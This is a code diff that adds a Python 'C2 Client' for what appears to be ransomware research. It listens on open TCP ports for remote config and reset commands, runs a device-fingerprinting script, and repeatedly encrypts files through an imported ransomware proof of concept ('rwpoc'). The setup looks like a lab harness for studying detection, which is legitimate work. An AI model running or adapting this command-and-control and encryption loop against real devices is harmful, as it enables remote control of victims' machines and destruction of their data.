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feat: adjust to online eval on target device
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,159 @@ | ||
| import os | ||
| import signal | ||
| from argparse import ArgumentParser | ||
| from json import loads | ||
| from multiprocessing import Process | ||
| from os import path, remove | ||
| from socket import AF_INET, SOCK_STREAM, socket | ||
| from subprocess import call | ||
| from time import sleep, time | ||
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| from globals import get_config_path, get_reset_path, get_terminate_path, update_existing_config | ||
| from rwpoc import run | ||
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| TARGET_PATH = "<start-path-on-target-device>" | ||
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| def parse_args(): | ||
| parser = ArgumentParser(description='C2 Client') | ||
| parser.add_argument('-n', '--number', | ||
| help='Number of fingerprints to collect in one encryption run.', | ||
| default=0, | ||
| action="store") | ||
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| return parser.parse_args() | ||
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| def listen_for_config_changes(): | ||
| with socket(AF_INET, SOCK_STREAM) as sock: | ||
| sock.bind(("0.0.0.0", 42666)) | ||
| sock.listen(1) | ||
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| while True: | ||
| conn, addr = sock.accept() # keep listening for new connections | ||
| with conn: | ||
| while True: | ||
| data = conn.recv(1024) # listen for incoming data of connection | ||
| if not data: | ||
| break | ||
| new_config = loads(data.decode(encoding="utf-8")) | ||
| print("received", new_config) | ||
| update_existing_config(new_config) | ||
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| def listen_terminate_episode(): | ||
| with socket(AF_INET, SOCK_STREAM) as sock: | ||
| sock.bind(("0.0.0.0", 42667)) | ||
| sock.listen(1) | ||
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| while True: | ||
| conn, addr = sock.accept() # keep listening for new connections | ||
| with conn: | ||
| while True: | ||
| data = conn.recv(1024) # listen for incoming data of connection | ||
| if not data: | ||
| break | ||
| command = data.decode(encoding="utf-8").strip().lower() | ||
| print("received", command) | ||
| reset_path = get_reset_path() | ||
| terminate_path = get_terminate_path() | ||
| if command == "reset" and not path.exists(reset_path): | ||
| with open(reset_path, "x"): | ||
| pass | ||
| elif command == "terminate" and not path.exists(terminate_path): | ||
| with open(terminate_path, "x"): | ||
| pass | ||
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| def collect_device_fingerprint(limit): | ||
| # FIXME: using call() spawns another sub-process that will get orphaned and not be terminated by kill_process() | ||
| if limit > 0: | ||
| """ | ||
| Remember: once the limit is reached the subprocess is terminated. | ||
| However, the (parent) encryption process is still running to completion | ||
| and will re-trigger the FP collection on the next iteration - up to the limit. | ||
| """ | ||
| call(["./fingerprinter.sh", "-n {}".format(limit)]) | ||
| else: | ||
| call("./fingerprinter.sh") # without option "-n <limit>", this will continuously collect FP | ||
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| def kill_process(proc): | ||
| print("kill Process", proc) | ||
| proc.terminate() | ||
| print("killed Process", proc) | ||
| timeout = 10 | ||
| start = time() | ||
| while proc.is_alive() and time() - start < timeout: | ||
| sleep(1) | ||
| if proc.is_alive(): | ||
| proc.kill() | ||
| print("...we had to put it down", proc) | ||
| sleep(2) | ||
| if proc.is_alive(): | ||
| os.kill(proc.pid, signal.SIGKILL) | ||
| print("...die already", proc) | ||
| else: | ||
| print(proc, "now dead") | ||
| else: | ||
| print(proc, "now dead") | ||
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| if __name__ == "__main__": | ||
| # Parse arguments | ||
| args = parse_args() | ||
| num_fp = int(args.number) | ||
|
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| # Start subprocess to integrate config changes | ||
| procs = [] | ||
| proc_config = Process(target=listen_for_config_changes) | ||
| procs.append(proc_config) | ||
| proc_config.start() | ||
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| # Start subprocess to listen for episodes terminated by the agent | ||
| proc_reset = Process(target=listen_terminate_episode) | ||
| procs.append(proc_reset) | ||
| proc_reset.start() | ||
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| # Start subprocess to fingerprint device behavior | ||
| proc_fp = Process(target=collect_device_fingerprint, args=(num_fp,)) | ||
| procs.append(proc_fp) | ||
| proc_fp.start() | ||
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| # Start off encryption with clean config from C2 | ||
| config_path = get_config_path() | ||
| if path.exists(config_path): | ||
| remove(config_path) | ||
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| print("Waiting for initial config...") | ||
| while not path.exists(config_path): | ||
| sleep(1) | ||
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| try: | ||
| abs_paths = TARGET_PATH | ||
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| while True: | ||
| # input("\nEnter: start encrypting") | ||
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| # input("\nwait shortly for child to start") | ||
| print("\nENCRYPT") | ||
| run(encrypt=True, absolute_paths=abs_paths) # encrypt | ||
|
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| # input("\nEnter: start decrypting") | ||
| print("\nDECRYPT") | ||
| # run(encrypt=False, absolute_paths=abs_paths) # decrypt | ||
| call("./reset_corpus.sh") | ||
| reset_path = get_reset_path() | ||
| if path.exists(reset_path): | ||
| remove(reset_path) | ||
| terminate_path = get_terminate_path() | ||
| if path.exists(terminate_path): | ||
| remove(terminate_path) | ||
| break | ||
| finally: | ||
| print("finally") | ||
| for proc in procs: | ||
| if proc.is_alive(): | ||
| kill_process(proc) | ||
| else: | ||
| print("Process", proc, "already dead.") |
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